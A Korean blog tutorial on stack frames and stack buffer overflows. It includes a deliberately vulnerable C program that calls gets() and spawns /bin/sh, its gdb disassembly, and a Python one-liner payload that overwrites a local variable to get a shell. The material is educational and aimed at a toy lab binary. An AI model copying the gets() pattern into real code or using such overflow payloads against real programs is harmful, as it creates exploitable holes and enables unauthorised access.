본문 바로가기

CTF_Write_UP/etc

[Stack, BOF] 스택프레임과 버퍼 오버플로우 뜯어보기 #1

 

시작

안녕하세요!! :D

오늘은 시스템해킹의 출발점인 스택프레임과 버퍼오버플로우를 다뤄볼까 합니다.

사실 포너블 문제를 더 풀고 싶은데 남은 것들이 pwntools 없으면 못 푸는 문제들..
사용법이 익숙치 않아서.. 열심히 공부중입니다ㅠㅠ

머리도 식힐 겸 가볍게 지금까지 공부한 것들을 정리해보려고 해요!!

시작하겠습니다.

Stack Frame

스택이란?

Stack : Last in First out (LIFO)를 기반으로 작동하는 자료구조. push(), pop() 등의 함수를 사용하여 조작

스택 영역은 함수의 호출과 함께 할당됩니다. 함수가 끝나면 자연스럽게 사라지죠.

지역 변수, 매개 변수, 반환값(Return)들이 이 곳에 저장됩니다.

특징이 있다면 스택은 높은 주소에서 낮은 주소로 커지는데, 그 이유는 운영 체제의 핵심인 Kernel을 절대로 침범할 수 없게 하기 위해서입니다.

또 힙 영역과 마주보며 자라게 되어서 메모리를 효율적으로 사용할 수 있게 되구요.

스택에서 꼭 알아야 할 두 가지 레지스터가 있는데, ebpesp라는 녀석입니다.

ebp는 베이스 포인터입니다. 스택에서 제일 낮은 위치(메모리 상에선 가장 높은 주소)를 가리킵니다.

esp는 스택 포인터입니다. 스택이 지금 어디에 있는지를 가리킵니다. 메모리 상에선 가장 낮은 주소겠네요.

이 두 레지스터는 함수의 호출과 동시에 시작되는 프롤로그, 함수의 끝인 에필로그에서 중요하게 사용됩니다.

스택 프레임이란?

Stack Frame : 스택 영역에 저장되는 함수의 정보, 공간

어떤 함수던 실행될 때 스택 프레임을 생성합니다.

그 안에는 매개 변수, Return, 지역 변수들이 자리잡고 있죠.

자, 함수가 호출되었다!! 라고 생각해 보겠습니다.

우선 스택 프레임을 만드는 단계인 프롤로그가 진행됩니다,

push ebp
mov ebp, esp

위 명령어를 통해 아래 그림과 같은 상태가 됩니다.

베이스 포인터를 스택에 저장 후 스택 포인터를 베이스 포인터에 저장합니다.

이렇게 만들어진 스택 프레임으로 함수의 내용이 수행되겠죠?

이제 함수의 역할이 끝났으니 스택 프레임이 소멸되는 단계가 필요합니다. 이를 에필로그라고 해요.

mov esp, ebp
pop ebp

위 명령어로 인해 함수의 역할이 끝난 후 위 그림과 같은 상태로 돌아가는 겁니다.

pop 명령을 통해 RET 으로 이동하겠죠.

이제 어셈블리어를 뜯어봤을 때 프롤로그와 에필로그가 보인다!! 하면 함수의 시작과 끝이라고 생각하시면 됩니다.

버퍼 오버플로우

우리는 이제 함수가 호출되었을 때 스택 영역에서 무슨 일이 일어나는지 알았습니다.

버퍼 오버플로우 취약점은 스택 프레임 내에서 선언된 지역 변수가 다른 영역을 침범해 발생합니다.

간단한 프로그램으로 눈으로 직접 보죠!

root@goorm:/workspace/LCH_Server/stack# cat stack_test1.c
#include <stdio.h>
#include <stdlib.h>

int main() {

        int passwd = 0;
        char buf[20];

        gets(buf);

        if (passwd == 0xdeadbeef) {
                printf("Exploit!!\n");
                system("/bin/sh");
        }

        else {
                printf("Wrong!!\n");
        }

        return 0;
}

stack_test1.c 를 짜봤습니다.

passwd0xdeadbeef가 같다면 쉘을 딸 수 있는 코드입니다.

하지만 passwd 값을 입력받는 부분은 어디에도 없네요.

buf 배열과 gets()를 이용해서 passwd의 값을

같이 gdb로 뜯어볼까요??

gdb-peda$ pdisas main
Dump of assembler code for function main:
   0x00000000004005c6 <+0>:     push   rbp
   0x00000000004005c7 <+1>:     mov    rbp,rsp
   0x00000000004005ca <+4>:     sub    rsp,0x20
   0x00000000004005ce <+8>:     mov    DWORD PTR [rbp-0x4],0x0
   0x00000000004005d5 <+15>:    lea    rax,[rbp-0x20]
   0x00000000004005d9 <+19>:    mov    rdi,rax
   0x00000000004005dc <+22>:    mov    eax,0x0
   0x00000000004005e1 <+27>:    call   0x4004c0 <gets@plt>
   0x00000000004005e6 <+32>:    cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x00000000004005ed <+39>:    jne    0x400605 <main+63>
   0x00000000004005ef <+41>:    mov    edi,0x4006a4
   0x00000000004005f4 <+46>:    call   0x400480 <puts@plt>
   0x00000000004005f9 <+51>:    mov    edi,0x4006ae
   0x00000000004005fe <+56>:    call   0x400490 <system@plt>
   0x0000000000400603 <+61>:    jmp    0x40060f <main+73>
   0x0000000000400605 <+63>:    mov    edi,0x4006b6
   0x000000000040060a <+68>:    call   0x400480 <puts@plt>
   0x000000000040060f <+73>:    mov    eax,0x0
   0x0000000000400614 <+78>:    leave
   0x0000000000400615 <+79>:    ret
End of assembler dump.

위 두 줄만 봐도 프롤로그라고 보이네요!!

main+32 부분에서 rbp-0x40xdeadbeef를 비교하는 것이 보입니다.

passwd의 값은 rbp-0x4에 저장되는 것 같네요.

gets 함수를 불러오기 전을 보면 rbp-0x20을 인자로 넣어주는 모습도 보입니다.

이곳은 buf[]의 공간인 것 같습니다,

buf[]에 20 bytes를 채우고 메모리를 보러 가봅시다.

gdb-peda$ x/32wx $rbp-0x20
0x7ffe284ce410: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffe284ce420: 0x41414141      0x00007f00      0x00000000      0x00000000
0x7ffe284ce430: 0x00000000      0x00000000      0x4c103f45      0x00007f68
0x7ffe284ce440: 0x00000000      0x00000000      0x284ce518      0x00007ffe
0x7ffe284ce450: 0x00000000      0x00000001      0x004005c6      0x00000000
0x7ffe284ce460: 0x00000000      0x00000000      0x7ca1f70f      0x62d2658a
0x7ffe284ce470: 0x004004d0      0x00000000      0x284ce510      0x00007ffe
0x7ffe284ce480: 0x00000000      0x00000000      0x00000000      0x00000000
gdb-peda$ x/x $rbp-0x4
0x7ffe284ce42c: 0x00000000

A를 20개 넣어준 후 rbp-0x20을 뜯었더니 알맞게 잘 들어가 있군요.

rbp-0x4의 주소값이 0x7ffe284ce42c인 것도 확인했습니다.

위와 아래의 주소를 비교해보니.. passwd가 배열의 시작 주소에서 28 bytes만큼 떨어져 있네요!

그렇다면 28 bytes만큼 채운 후 0xdeadbeef 값을 입력하면 passwd 변수에 들어갈 것 같습니다.

페이로드를 작성해보죠.

root@goorm:/workspace/LCH_Server/stack# (python -c 'print "A" * 28 + "\xef\xbe\xad\xde"'; cat) | ./stack_test1
Exploit!!
ls -l
합계 20
-rw-rw-r-- 1 root root   16  4월 25 14:10 peda-session-stack_test1.txt
-rwxrwxr-x 1 root root 8675  4월 25 13:21 stack_test1
-rw-rw-r-- 1 root root  227  4월 25 13:15 stack_test1.c

잘 덮히는군요. 이것이 유명하고 유명한 버퍼 오버플로우 입니다.


마무리

간단하게 스택과 버퍼 오버플로우를 알아보았습니다.

급하게 쓰느라 정신이 없었네요.. 더 많은 코드로 예제를 써보고 싶었는데ㅠㅠ

2편으로 돌아오겠습니다!!